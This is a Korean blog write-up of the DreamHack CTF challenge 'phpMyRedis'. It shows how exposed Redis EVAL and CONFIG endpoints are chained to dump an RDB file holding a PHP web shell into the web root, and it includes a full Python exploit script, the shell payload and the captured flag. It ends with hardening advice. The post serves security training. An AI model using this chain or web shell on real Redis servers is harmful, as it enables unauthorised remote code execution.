[๐Ÿฅˆ Silver 1] Redis๊ฐ€ ๋ฐฅ ๋จน๋“ฏ ๋‚จ๊ธฐ๋Š” RDB๋กœ ์›น์…ธ์„ ๊ตฝ๋‹ค โ€” DreamHack phpMyRedis ํ’€์ด

2026-07-13ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅˆ Silver 1] Redis๊ฐ€ ๋ฐฅ ๋จน๋“ฏ ๋‚จ๊ธฐ๋Š” RDB๋กœ ์›น์…ธ์„ ๊ตฝ๋‹ค โ€” DreamHack phpMyRedis ํ’€์ด

Redis eval๋กœ Lua๋ฅผ ๋Œ๋ฆฌ๊ณ  config๋กœ CONFIG๋ฅผ ๋งŒ์งˆ ์ˆ˜ ์žˆ๋Š” PHP ์•ฑ์ด๋‹ค. Lua์—์„œ SAVE๋Š” ๋ง‰ํ˜€ ์žˆ์ง€๋งŒ, CONFIG๋กœ RDB ์ €์žฅ ์œ„์น˜๋ฅผ ์›น ๋ฃจํŠธ๋กœ ๋Œ๋ฆฌ๊ณ  save ์ •์ฑ…์„ "1์ดˆ 1๋ณ€๊ฒฝ"์œผ๋กœ ๋ฐ”๊ฟ” ์ž๋™ ์ €์žฅ์„ ์œ ๋„ํ–ˆ๋‹ค. RDB ๋คํ”„์— ์‹ฌ์€ <?php ์›น์…ธ๋กœ RCE, ์‹คํ–‰ ์ „์šฉ /flag๋ฅผ ๋Œ๋ ค flag๋ฅผ ์–ป์—ˆ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” phpMyRedis ๋ถ„๋ฅ˜: Web ๋‚œ์ด๋„: ๐Ÿฅˆ Silver 1 FLAG: DH{97c08d732ca9ad65e35c8781ea3178f2d27bd726}

phpMyAdmin์˜ Redis ๋ฒ„์ „ ๊ฐ™์€ ๊ด€๋ฆฌ ๋„๊ตฌ๋‹ค. ๋ช…๋ น ํŽ˜์ด์ง€์—์„œ Redis eval๋กœ Lua ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋Œ๋ฆฌ๊ณ , config ํŽ˜์ด์ง€์—์„œ CONFIG GET/SET์„ ๋งŒ์งˆ ์ˆ˜ ์žˆ๋‹ค. ์ด ๋‘˜์„ ์—ฎ์œผ๋ฉด Redis์˜ ๊ณ ์ „ ๊ธฐ๋ฒ• โ€” RDB ์Šค๋ƒ…์ƒท์„ ์›น ๋ฃจํŠธ์— ์ €์žฅํ•ด PHP ์›น์…ธ์„ ๋งŒ๋“œ๋Š” RCE๋กœ ์ด์–ด์ง„๋‹ค.

index.php โ€” Redis eval(Lua)์„ ์‹คํ–‰ํ•˜๋Š” Command ์ธํ„ฐํŽ˜์ด์Šค
index.php โ€” Redis eval(Lua)์„ ์‹คํ–‰ํ•˜๋Š” Command ์ธํ„ฐํŽ˜์ด์Šค

๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…phpMyRedis
๋‚œ์ด๋„๐Ÿฅˆ Silver 1
๋ถ„๋ฅ˜Web (PHP 7.1 + Redis)
์ œ๊ณต ํŒŒ์ผ / ์„œ๋ฒ„index.php, config.php, core.php / http://host3.dreamhack.games:<port>/ (์ธ์Šคํ„ด์Šค๋งˆ๋‹ค ๋ณ€๊ฒฝ)
ํ•ต์‹ฌ ์ทจ์•ฝ์  / ๊ธฐ๋ฒ•Redis RDB ์›น์…ธ โ€” CONFIG๋กœ ์ €์žฅ ์œ„์น˜๋ฅผ ์›น ๋ฃจํŠธ๋กœ ๋Œ๋ ค RCE

flag๋Š” /flag์— ์žˆ๊ณ (Dockerfile), ./data/ ๋””๋ ‰ํ† ๋ฆฌ๋Š” chmod 777์— ์›น์œผ๋กœ ์ ‘๊ทผ๋œ๋‹ค(/data/). ๋‚จ์€ ๊ฑด Redis์—๊ฒŒ ์šฐ๋ฆฌ ์ฝ”๋“œ๋ฅผ ๊ทธ ๋””๋ ‰ํ† ๋ฆฌ์— PHP ํŒŒ์ผ๋กœ ๋ฑ‰๊ฒŒ ๋งŒ๋“œ๋Š” ๊ฒƒ์ด๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” Redis eval, CONFIG, ๊ทธ๋ฆฌ๊ณ  RDB

์„ธ ๊ฐ€์ง€ ๊ฐœ๋…์ด๋ฉด ์ด ๋ฌธ์ œ๊ฐ€ ํ’€๋ฆฐ๋‹ค.

Redis EVAL ์€ ์„œ๋ฒ„์—์„œ Lua ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•œ๋‹ค. ์Šคํฌ๋ฆฝํŠธ ์•ˆ์—์„œ redis.call(...)๋กœ ๋Œ€๋ถ€๋ถ„์˜ Redis ๋ช…๋ น์„ ๋ถ€๋ฅผ ์ˆ˜ ์žˆ๋‹ค. ๋‹ค๋งŒ Lua๋Š” ์ƒŒ๋“œ๋ฐ•์Šค๋ผ ioยทos ํŒŒ์ผ ์ ‘๊ทผ์ด ๋ง‰ํ˜€ ์žˆ๊ณ , SAVEยทBGSAVEยทCONFIG ๊ฐ™์€ ๊ด€๋ฆฌยท๋น„๊ฒฐ์ •์  ๋ช…๋ น๋„ ์Šคํฌ๋ฆฝํŠธ์—์„œ ํ˜ธ์ถœํ•˜๋ฉด ๊ฑฐ๋ถ€๋œ๋‹ค.

CONFIG SET ์€ Redis ๋Ÿฐํƒ€์ž„ ์„ค์ •์„ ๋ฐ”๊พผ๋‹ค. ํŠนํžˆ dir(์ž‘์—… ๋””๋ ‰ํ† ๋ฆฌ)๊ณผ dbfilename(RDB ํŒŒ์ผ ์ด๋ฆ„), save(์ž๋™ ์ €์žฅ ์ •์ฑ…)๋ฅผ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ๋‹ค.

RDB ๋Š” Redis์˜ ์Šค๋ƒ…์ƒท ํŒŒ์ผ์ด๋‹ค. SAVE๋‚˜ ์ž๋™ ์ €์žฅ์ด ์ผ์–ด๋‚˜๋ฉด ํ˜„์žฌ ๋ชจ๋“  ํ‚ค๋ฅผ dir/dbfilename์— ๋ฐ”์ด๋„ˆ๋ฆฌ๋กœ ๋คํ”„ํ•œ๋‹ค. ์ด ํŒŒ์ผ์— <?php ... ?> ๋ฌธ์ž์—ด์ด ๋“ค์–ด ์žˆ๊ณ , ๊ทธ ํŒŒ์ผ์ด .php๋กœ ์›น์—์„œ ์‹คํ–‰๋˜๋ฉด โ€” PHP๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ ์žก์Œ์€ ๋ฌด์‹œํ•˜๊ณ  <?php> ๋ธ”๋ก๋งŒ ์‹คํ–‰ํ•œ๋‹ค. ๊ทธ๋ž˜์„œ ํ‚ค ๊ฐ’์— PHP ์ฝ”๋“œ๋ฅผ ๋„ฃ๊ณ  RDB๋ฅผ ์›น ๋ฃจํŠธ์— ์ €์žฅํ•˜๋ฉด ์›น์…ธ์ด ๋œ๋‹ค.


๐Ÿ”ฌ ์ฝ”๋“œ ์ •์ฐฐ โ€” ๋‘ ๊ฐœ์˜ ์—”๋“œํฌ์ธํŠธ

index.php์™€ config.php๊ฐ€ ๊ฐ๊ฐ ํ•˜๋‚˜์”ฉ ๋Šฅ๋ ฅ์„ ์ค€๋‹ค.

// index.php โ€” Lua eval
$redis->eval($_POST['cmd']);           // ์ž„์˜ Lua/redis.call (SET ๊ฐ€๋Šฅ)
 
// config.php โ€” CONFIG
$redis->config($_POST['option'], $_POST['key'], $_POST['value']);   // GET/SET

core.php๋ฅผ ๋ณด๋ฉด Redis๋Š” localhost:6379, PHP ์„ธ์…˜๋„ Redis์— ์ €์žฅ๋œ๋‹ค. ๊ทธ๋ฆฌ๊ณ  Dockerfile์ด chmod 777 /var/www/html/data/ ํ•˜๊ณ  flag๋ฅผ /flag์— ๋‘”๋‹ค. config ํŽ˜์ด์ง€๋Š” GET/SET์„ ๊ณ ๋ฅด๊ณ  keyยทvalue๋ฅผ ๋„ฃ๋Š” ๋‹จ์ˆœํ•œ CONFIG ํผ์ด๋‹ค.

config.php โ€” CONFIG GET/SET ์ธํ„ฐํŽ˜์ด์Šค
config.php โ€” CONFIG GET/SET ์ธํ„ฐํŽ˜์ด์Šค

์—ฌ๊ธฐ์„œ ๊ฐˆ๋ฆฐ๋‹ค. eval๋กœ SET์€ ๋˜์ง€๋งŒ, RDB๋ฅผ ๋””์Šคํฌ์— ์“ฐ๋Š” SAVEยทBGSAVE๋‚˜ ์„ค์ •์„ ๋ฐ”๊พธ๋Š” CONFIG๋Š” Lua ์Šคํฌ๋ฆฝํŠธ์—์„œ ๊ฑฐ๋ถ€๋œ๋‹ค. ๋Œ€์‹  config.php๋Š” CONFIG๋ฅผ Lua๋ฅผ ๊ฑฐ์น˜์ง€ ์•Š๊ณ  ์ง์ ‘ ์‹คํ–‰ํ•˜๋ฏ€๋กœ ์ œ์•ฝ์ด ์—†๋‹ค. ์‹ค์ œ๋กœ ์ฐ”๋Ÿฌ๋ณด๋ฉด ์ด ๊ฒฝ๊ณ„๊ฐ€ ์„ ๋ช…ํ•˜๊ฒŒ ๋“œ๋Ÿฌ๋‚œ๋‹ค.

eval์—์„  SET/GET๋งŒ ๋˜๊ณ  SAVEยทBGSAVEยทCONFIG๋Š” false / config.php๋Š” CONFIG ์ง์ ‘ ์‹คํ–‰
eval์—์„  SET/GET๋งŒ ๋˜๊ณ  SAVEยทBGSAVEยทCONFIG๋Š” false / config.php๋Š” CONFIG ์ง์ ‘ ์‹คํ–‰

eval์˜ redis.call('config','get','dir')๋Š” false(์ฐจ๋‹จ)์ง€๋งŒ, config.php์˜ CONFIG GET dir์€ ๊ฐ’์„ ๊ทธ๋Œ€๋กœ ๋Œ๋ ค์ค€๋‹ค. ์›น ํ™”๋ฉด์—์„œ๋„ ๋˜‘๊ฐ™๋‹ค.

index.php eval์—์„œ config get์ด ์ฐจ๋‹จ๋ผ false ๋ฐ˜ํ™˜
index.php eval์—์„œ config get์ด ์ฐจ๋‹จ๋ผ false ๋ฐ˜ํ™˜

๐Ÿ› ์‚ฝ์งˆ โ€” SAVE๋ฅผ ์ง์ ‘ ๋ชป ๋ถ€๋ฅธ๋‹ค

โ–ถ๐Ÿ› ์‚ฝ์งˆ โ€” RDB๋ฅผ ์“ฐ๋ ค๋ฉด SAVE๊ฐ€ ํ•„์š”ํ•œ๋ฐ Lua๋„ config๋„ SAVE๋Š” ์•ˆ ์ค€๋‹ค

RDB ์›น์…ธ์˜ ํ•ต์‹ฌ์€ "ํ‚ค๋ฅผ ์„ธํŒ…ํ•œ ๋’ค RDB๋ฅผ ๋””์Šคํฌ์— ์“ฐ๋Š” ๊ฒƒ"์ด๋‹ค. ๋ณดํ†ต์€ SAVE๋‚˜ BGSAVE๋ฅผ ๋ถ€๋ฅด๋ฉด ๋œ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์—ฌ๊ธฐ์„ :

  • eval์˜ redis.call('save') โ†’ false (Lua ์Šคํฌ๋ฆฝํŠธ์—์„œ ๊ด€๋ฆฌ ๋ช…๋ น ๊ฑฐ๋ถ€)
  • config.php๋Š” CONFIG๋งŒ ๋…ธ์ถœ โ€” SAVE ๋ช…๋ น ์ž์ฒด๋ฅผ ๋ถ€๋ฅผ ๋ฐฉ๋ฒ•์ด ์—†๋‹ค

์ฆ‰ ์ €์žฅ์„ ์ง์ ‘ ํŠธ๋ฆฌ๊ฑฐํ•  ์†์žก์ด๊ฐ€ ์—†๋‹ค. ์—ฌ๊ธฐ์„œ ๋ง‰ํ˜”๋‹ค๊ฐ€, Redis์˜ save ์„ค์ •์„ ๋– ์˜ฌ๋ ธ๋‹ค. save "N M"์€ "N์ดˆ ์•ˆ์— M๋ฒˆ ๋ณ€๊ฒฝ์ด ์ผ์–ด๋‚˜๋ฉด ์ž๋™ ์ €์žฅ"์ด๋‹ค. ๊ธฐ๋ณธ๊ฐ’์€ 3600 1 โ€ฆ(1์‹œ๊ฐ„์— 1๋ณ€๊ฒฝ) ์ด๋ผ ๋А๋ฆฌ์ง€๋งŒ, CONFIG SET save "1 1"๋กœ **"1์ดˆ ์•ˆ์— 1๋ณ€๊ฒฝ์ด๋ฉด ์ €์žฅ"**์œผ๋กœ ๋ฐ”๊พธ๋ฉด, ํ‚ค ํ•˜๋‚˜๋งŒ ๋ฐ”๊ฟ”๋„ 1์ดˆ ๋’ค Redis๊ฐ€ ์•Œ์•„์„œ RDB๋ฅผ ์“ด๋‹ค. SAVE๋ฅผ ๋ชป ๋ถ€๋ฅด๋‹ˆ ์ž๋™ ์ €์žฅ์„ ์œ ๋„ํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

์ •๋ฆฌํ•˜๋ฉด, config.php๋กœ ์ €์žฅ ์œ„์น˜(dirยทdbfilename)์™€ ์ €์žฅ ์ •์ฑ…(save)์„ ๋ฐ”๊พธ๊ณ , eval๋กœ ์›น์…ธ ํ‚ค๋ฅผ ๋„ฃ์€ ๋’ค, ๋ณ€๊ฒฝ์„ ์ผ์œผ์ผœ ์ž๋™ ์ €์žฅ์„ ๊ธฐ๋‹ค๋ฆฐ๋‹ค.


๐Ÿ’ฃ ํ•ต์‹ฌ โ€” RDB๋ฅผ ์›น ๋ฃจํŠธ๋กœ ๋Œ๋ฆฌ๊ณ  ์›น์…ธ์„ ๊ตฝ๋Š”๋‹ค

์ฒด์ธ์€ ์ด๋ ‡๋‹ค.

Redis RDB ์›น์…ธ ์ฒด์ธ โ€” CONFIG๋กœ ์ €์žฅ ์œ„์น˜๋ฅผ ์›น๋ฃจํŠธ๋กœ, save ์ •์ฑ…์œผ๋กœ ์ž๋™์ €์žฅ ์œ ๋„
Redis RDB ์›น์…ธ ์ฒด์ธ โ€” CONFIG๋กœ ์ €์žฅ ์œ„์น˜๋ฅผ ์›น๋ฃจํŠธ๋กœ, save ์ •์ฑ…์œผ๋กœ ์ž๋™์ €์žฅ ์œ ๋„
  1. config.php โ€” CONFIG SET dir /var/www/html/data(777ยท์›น ์ ‘๊ทผ), dbfilename poc.php, rdbcompression no(์›น์…ธ ์กฐ๊ฐ์ด LZF ์••์ถ•์œผ๋กœ ๊นจ์ง€์ง€ ์•Š๊ฒŒ).
  2. config.php โ€” CONFIG SET save "1 1"(1์ดˆ 1๋ณ€๊ฒฝ ์ž๋™ ์ €์žฅ).
  3. index.php eval โ€” ํ‚ค ํ•˜๋‚˜์— PHP ์›น์…ธ์„ ๋„ฃ๋Š”๋‹ค. ์ธ์šฉ๋ถ€ํ˜ธ ์ด์Šค์ผ€์ดํ”„ ๋ฌธ์ œ๋ฅผ ํ”ผํ•˜๋ ค๊ณ  $_GET[0](๋”ฐ์˜ดํ‘œ ์—†๋Š” ์ˆซ์ž ํ‚ค)์„ ์“ด๋‹ค.
return redis.call("set","x","\n<?php system($_GET[0]); ?>\n")

์ด SET์ด ๋ณ€๊ฒฝ์„ ์ผ์œผํ‚ค๊ณ , save "1 1" ์ •์ฑ…์— ๋”ฐ๋ผ ๊ณง Redis๊ฐ€ ๋ชจ๋“  ํ‚ค๋ฅผ /var/www/html/data/poc.php์— RDB๋กœ ๋คํ”„ํ•œ๋‹ค. config.php๋กœ dir์ด ๋ฐ”๋€ ๊ฑธ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

config.php โ€” CONFIG GET dir์ด /var/www/html/data๋กœ ๋ฐ”๋€œ
config.php โ€” CONFIG GET dir์ด /var/www/html/data๋กœ ๋ฐ”๋€œ

์ด์ œ /data/poc.php๋Š” RDB ๋ฐ”์ด๋„ˆ๋ฆฌ ํŒŒ์ผ์ด์ง€๋งŒ .php ํ™•์žฅ์ž๋ผ Apache๊ฐ€ ์‹คํ–‰ํ•œ๋‹ค. PHP๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ ์žก์Œ์„ ๋ฌด์‹œํ•˜๊ณ  ์šฐ๋ฆฌ๊ฐ€ ์‹ฌ์€ <?php system($_GET[0]); ?>๋งŒ ์‹คํ–‰ํ•œ๋‹ค.



๐ŸŽฏ ์ต์Šคํ”Œ๋กœ์ž‡ โ€” ์›น์…ธ๋กœ /flag ์‹คํ–‰

/data/poc.php?0=<๋ช…๋ น>์œผ๋กœ ๋ช…๋ น์„ ์‹คํ–‰ํ•œ๋‹ค. www-data ๊ถŒํ•œ์ด๋‹ค. /flag๋ฅผ cat ํ•˜๋ ค ํ•˜๋ฉด Permission denied โ€” flag๋Š” ---x--x--x(์‹คํ–‰ ์ „์šฉ) ๋ฐ”์ด๋„ˆ๋ฆฌ๋‹ค. ์ฝ์„ ์ˆœ ์—†์ง€๋งŒ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์œผ๋‹ˆ, ?0=/flag๋กœ ๊ทธ๋ƒฅ ๋Œ๋ฆฌ๋ฉด flag๋ฅผ ์ถœ๋ ฅํ•œ๋‹ค.

/data/poc.php?0=/flag โ€” RDB ๋คํ”„ ์† ์›น์…ธ์ด /flag ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•ด flag ์ถœ๋ ฅ
/data/poc.php?0=/flag โ€” RDB ๋คํ”„ ์† ์›น์…ธ์ด /flag ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•ด flag ์ถœ๋ ฅ

RDB ๋คํ”„์˜ ์žก์Œ ์‚ฌ์ด, ์šฐ๋ฆฌ๊ฐ€ ์‹ฌ์€ ํ‚ค x ์ž๋ฆฌ์— /flag ์‹คํ–‰ ๊ฒฐ๊ณผ DH{...}๊ฐ€ ๊ทธ๋Œ€๋กœ ์ฐํ˜”๋‹ค.


๐Ÿš€ Full Exploit

CONFIG ์„ธํŒ… โ†’ ์›น์…ธ SET โ†’ ์ž๋™ ์ €์žฅ ํด๋ง โ†’ /flag ์‹คํ–‰์„ ํ•œ ์Šคํฌ๋ฆฝํŠธ๋กœ ๋ฌถ์—ˆ๋‹ค. config.php(CONFIG)์™€ index.php(eval)๋ฅผ ๋ฒˆ๊ฐˆ์•„ ์“ด๋‹ค.

import requests, re, time
 
B = "http://host3.dreamhack.games:<port>"
s = requests.Session()
cfg = lambda k, v: s.post(B+"/config.php", data={"option":"SET","key":k,"value":v}, timeout=10)
ev  = lambda c: s.post(B+"/index.php", data={"cmd":c}, timeout=10)
 
for k, v in [("rdbcompression","no"), ("dir","/var/www/html/data"),
             ("dbfilename","poc.php"), ("save","1 1")]:
    cfg(k, v)
ev('return redis.call("set","x","\\n<?php system($_GET[0]); ?>\\n")')   # ์›น์…ธ ํ‚ค
 
# ์ž๋™ ์ €์žฅ ์œ ๋„: ๋งค์ดˆ ๋ณ€๊ฒฝ -> RDB๊ฐ€ poc.php๋กœ ์ €์žฅ๋  ๋•Œ๊นŒ์ง€ ํด๋ง
for i in range(12):
    ev(f'return redis.call("set","trg","{int(time.time())}{i}")')
    time.sleep(1.0)
    if b"RCEOK" in s.get(B+"/data/poc.php", params={"0":"echo RCEOK"}, timeout=10).content:
        break
 
# /flag ๋Š” ์‹คํ–‰ ์ „์šฉ ๋ฐ”์ด๋„ˆ๋ฆฌ -> ์‹คํ–‰ํ•˜๋ฉด flag ์ถœ๋ ฅ
t = s.get(B+"/data/poc.php", params={"0":"/flag"}, timeout=10).content
print("[+] FLAG:", re.search(rb"DH\{[^}]+\}", t).group(0).decode())

๋Œ๋ฆฌ๋ฉด ์ž๋™ ์ €์žฅ์ด ๊ฑธ๋ฆฐ ๋’ค flag๊ฐ€ ๋‚˜์˜จ๋‹ค.

solve.py ์‹คํ–‰ โ€” RDB ์›น์…ธ๋กœ /flag ์‹คํ–‰ํ•ด flag ํšŒ์ˆ˜
solve.py ์‹คํ–‰ โ€” RDB ์›น์…ธ๋กœ /flag ์‹คํ–‰ํ•ด flag ํšŒ์ˆ˜
[+] /flag ์‹คํ–‰ โ†’ DH{97c08d732ca9ad65e35c8781ea3178f2d27bd726}


๐Ÿ“ ๊ฒฐ๋ก 

Redis์— ์ž„์˜ ๋ช…๋ น์„ ์ฃผ๋ฉด ๊ทธ๊ฑด ๊ณง ํŒŒ์ผ ์“ฐ๊ธฐ์ด๊ณ , ํŒŒ์ผ ์“ฐ๊ธฐ๋Š” ๊ณง RCE๋‹ค.

eval๊ณผ config๋ฅผ ๋…ธ์ถœํ•œ ์ˆœ๊ฐ„, ๊ณต๊ฒฉ์ž๋Š” Redis์˜ ์ €์žฅ ์œ„์น˜๋ฅผ ์›น ๋ฃจํŠธ๋กœ ๋Œ๋ ค ์ž๊ธฐ ์ฝ”๋“œ๋ฅผ PHP ํŒŒ์ผ๋กœ ๋ฑ‰๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋‹ค. Redis๋ฅผ ์ธํ„ฐ๋„ทยท์‹ ๋ขฐ ๊ฒฝ๊ณ„์— ๋…ธ์ถœํ•˜์ง€ ์•Š๋Š” ๊ฒŒ ๋จผ์ €๊ณ , ๋ถˆ๊ฐ€ํ”ผํ•˜๋‹ค๋ฉด rename-command๋กœ CONFIGยทSAVEยทEVAL ๊ฐ™์€ ์œ„ํ—˜ ๋ช…๋ น์„ ๋ง‰๊ณ , protected-mode์™€ ์ธ์ฆ์„ ์ผœ์•ผ ํ•œ๋‹ค. ์›น ์•ฑ์ด Redis ๋ช…๋ น์„ ์‚ฌ์šฉ์ž์—๊ฒŒ ์ค‘๊ณ„ํ•˜๋Š” ์ด ๊ตฌ์กฐ ์ž์ฒด๊ฐ€ ์œ„ํ—˜ํ•˜๋‹ค.

"์ง์ ‘ ๋ชป ๋ถ€๋ฅด๋Š” ๋ช…๋ น"๋„ ์ •์ฑ…์„ ๋ฐ”๊พธ๋ฉด ์šฐํšŒ๋œ๋‹ค.

SAVE๋ฅผ ์Šคํฌ๋ฆฝํŠธ์—์„œ ๋ง‰์•˜์ง€๋งŒ, save ์„ค์ •์„ "1์ดˆ 1๋ณ€๊ฒฝ"์œผ๋กœ ๋ฐ”๊ฟ” ์ž๋™ ์ €์žฅ์„ ์œ ๋„ํ•˜๋‹ˆ ๊ฒฐ๊ตญ ์ €์žฅ์ด ์ผ์–ด๋‚ฌ๋‹ค. ํŠน์ • ๋ช…๋ น ํ•˜๋‚˜๋ฅผ ๋ง‰๋Š” ๊ฒƒ์œผ๋ก  ๋ถ€์กฑํ•˜๋‹ค โ€” ๊ทธ ๋ช…๋ น์ด ํ•˜๋Š” ์ผ(๋””์Šคํฌ ์“ฐ๊ธฐ)์„ ์œ ๋ฐœํ•˜๋Š” ๋‹ค๋ฅธ ๊ฒฝ๋กœ(CONFIG SET save, dir, dbfilename)๊นŒ์ง€ ํ•จ๊ป˜ ํ†ต์ œํ•ด์•ผ ํ•œ๋‹ค.

์ฝ๊ธฐ ๊ถŒํ•œ์„ ๋ง‰์•„๋„ ์‹คํ–‰ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด ์ƒˆ์–ด ๋‚˜๊ฐ„๋‹ค.

flag๋ฅผ ---x--x--x๋กœ ๋‘์–ด cat์„ ๋ง‰์•˜์ง€๋งŒ, ์‹คํ–‰ ๋น„ํŠธ๊ฐ€ ์—ด๋ ค ์žˆ์–ด ๊ทธ๋ƒฅ ๋Œ๋ฆฌ๋‹ˆ flag๊ฐ€ ๋‚˜์™”๋‹ค. ๋ฏผ๊ฐํ•œ ๊ฐ’์„ ๋‹ด์€ ํŒŒ์ผยท๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” ํ•„์š” ์ตœ์†Œํ•œ์˜ ๊ถŒํ•œ(๊ทธ๋ฆฌ๊ณ  ์›น ์„œ๋ฒ„ ๊ณ„์ •์ด ์ ‘๊ทผ ๋ชป ํ•˜๊ฒŒ)์œผ๋กœ ๋‘์–ด์•ผ ํ•œ๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 2] GIF ํด๋ฆฌ๊ธ€๋ž์œผ๋กœ PHP ์›น์…ธ ์—…๋กœ๋“œ โ€” DreamHack Image Uploader ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] GIF ํด๋ฆฌ๊ธ€๋ž์œผ๋กœ PHP ์›น์…ธ ์—…๋กœ๋“œ โ€” DreamHack Image Uploader ํ’€์ด

ํ™•์žฅ์ž์™€ MIME ํƒ€์ž… ๊ฒ€์‚ฌ๋ฅผ AND(&&)๋กœ ๋ฌถ์€ ์—…๋กœ๋”๋‹ค. ๋‘˜ ์ค‘ ํ•˜๋‚˜๋งŒ ํ†ต๊ณผํ•˜๋ฉด ๋˜๋Š” ํ—ˆ์ ์ด๋ผ, GIF89a ๋งค์ง๋ฐ”์ดํŠธ๋ฅผ ์•ž์— ๋ถ™์ธ .php ํŒŒ์ผ์ด image/gif ๋กœ ์ธ์‹๋ผ ๊ทธ๋Œ€๋กœ ์—…๋กœ๋“œ๋œ๋‹ค. ์›น์…ธ์„ ์˜ฌ๋ ค RCE๋กœ ํ”Œ๋ž˜๊ทธ๋ฅผ ์ฝ๋Š” ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค.
#dreamhack#ctf#web+6
2026-06-04#dreamhack +6
[๐Ÿฅ‰ Bronze 1] ํ™•์žฅ์ž๋งŒ .md๋ฉด ํ†ต๊ณผ โ€” ๋‚ด์šฉ์€ ์•„๋ฌด๋„ ์•ˆ ๋ดค๋‹ค, DreamHack Pearfect Markdown ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 1] ํ™•์žฅ์ž๋งŒ .md๋ฉด ํ†ต๊ณผ โ€” ๋‚ด์šฉ์€ ์•„๋ฌด๋„ ์•ˆ ๋ดค๋‹ค, DreamHack Pearfect Markdown ํ’€์ด

์‹ค์‹œ๊ฐ„์œผ๋กœ ๋งˆํฌ๋‹ค์šด์„ ๋ฏธ๋ฆฌ๋ณด๊ธฐ ํ•ด์ฃผ๋Š” ์•„์ฃผ ๋‹จ์ˆœํ•œ PHP ํŽ˜์ด์ง€. ์—…๋กœ๋“œ ๋ผ์šฐํŠธ๋Š” ํŒŒ์ผ ์ด๋ฆ„์˜ ํ™•์žฅ์ž๊ฐ€ .md์ธ์ง€๋งŒ ๊ฒ€์‚ฌํ•˜๊ณ , ๋ฏธ๋ฆฌ๋ณด๊ธฐ ๋ผ์šฐํŠธ๋Š” ๊ทธ ํŒŒ์ผ์„ include()๋กœ ๊ทธ๋Œ€๋กœ ๋ถˆ๋Ÿฌ์˜จ๋‹ค. ๋‘ ๋ผ์šฐํŠธ ๋ชจ๋‘ ๊ฐ์ž ๋ณด๋ฉด ๊ทธ๋Ÿด๋“ฏํ•œ ๋ฐฉ์–ด์ฒ˜๋Ÿผ ๋ณด์ด์ง€๋งŒ, ํ™•์žฅ์ž ๊ฒ€์‚ฌ๋Š” "๋‚ด์šฉ"์„ ์ „ํ˜€ ๋ณด์ง€ ์•Š๊ณ  include()๋Š” "ํ™•์žฅ์ž"๋ฅผ ์ „ํ˜€ ๊ฐ€๋ฆฌ์ง€ ์•Š๋Š”๋‹ค๋Š” ๊ฒŒ ๋ฌธ์ œ์˜€๋‹ค. ์ฒ˜์Œ์—” ๊ฒฝ๋กœtraversal๋กœ flag ํŒŒ์ผ์„ ์ง์ ‘ ์ฝ์œผ๋ ค ํ–ˆ์ง€๋งŒ ๋นŒ๋“œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํŒŒ์ผ๋ช…์„ 32์ž ๋žœ๋ค ๋ฌธ์ž์—ด๋กœ ๋ฐ”๊ฟ”๋‘” ํƒ“์— ์‹คํŒจํ–ˆ๊ณ , ๊ฒฐ๊ตญ ์—…๋กœ๋“œํ•œ .md ํŒŒ์ผ ์•ˆ์— PHP ์ฝ”๋“œ๋ฅผ ์‹ฌ์–ด ์‹คํ–‰์‹œํ‚ค๋Š” ์ชฝ์œผ๋กœ ๋ฐฉํ–ฅ์„ ํ‹€์—ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-07-21#dreamhack +5
[๐Ÿฅ‰ Bronze 4] ๊ฒ€์ฆ ์—†๋Š” ํŒŒ์ผ ์—…๋กœ๋“œ โ€” PHP ์›น์…ธ ํ•œ ์ค„๋กœ RCE โ€” DreamHack image-storage ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 4] ๊ฒ€์ฆ ์—†๋Š” ํŒŒ์ผ ์—…๋กœ๋“œ โ€” PHP ์›น์…ธ ํ•œ ์ค„๋กœ RCE โ€” DreamHack image-storage ํ’€์ด

์ด๋ฏธ์ง€ ๊ณต์œ  ์‚ฌ์ดํŠธ์ธ๋ฐ ์—…๋กœ๋“œ ํŒŒ์ผ์˜ ํ™•์žฅ์ž๋„ MIME๋„ ๊ฒ€์‚ฌํ•˜์ง€ ์•Š๋Š”๋‹ค. `<?php system($_GET['cmd']); ?>` ํ•œ ์ค„์งœ๋ฆฌ ์›น์…ธ์„ shell.php๋กœ ์˜ฌ๋ฆฌ๋ฉด ์—…๋กœ๋“œ ๋””๋ ‰ํ† ๋ฆฌ์— ๊ทธ๋Œ€๋กœ ์ €์žฅ๋˜๊ณ , ๊ทธ URL์„ ์ง์ ‘ ์—ด๋ฉด PHP๊ฐ€ ์‹คํ–‰๋ผ RCE๊ฐ€ ๋œ๋‹ค. www-data ์…ธ๋กœ ๋ฃจํŠธ์˜ flag.txt๋ฅผ ์ฝ์—ˆ๋‹ค.
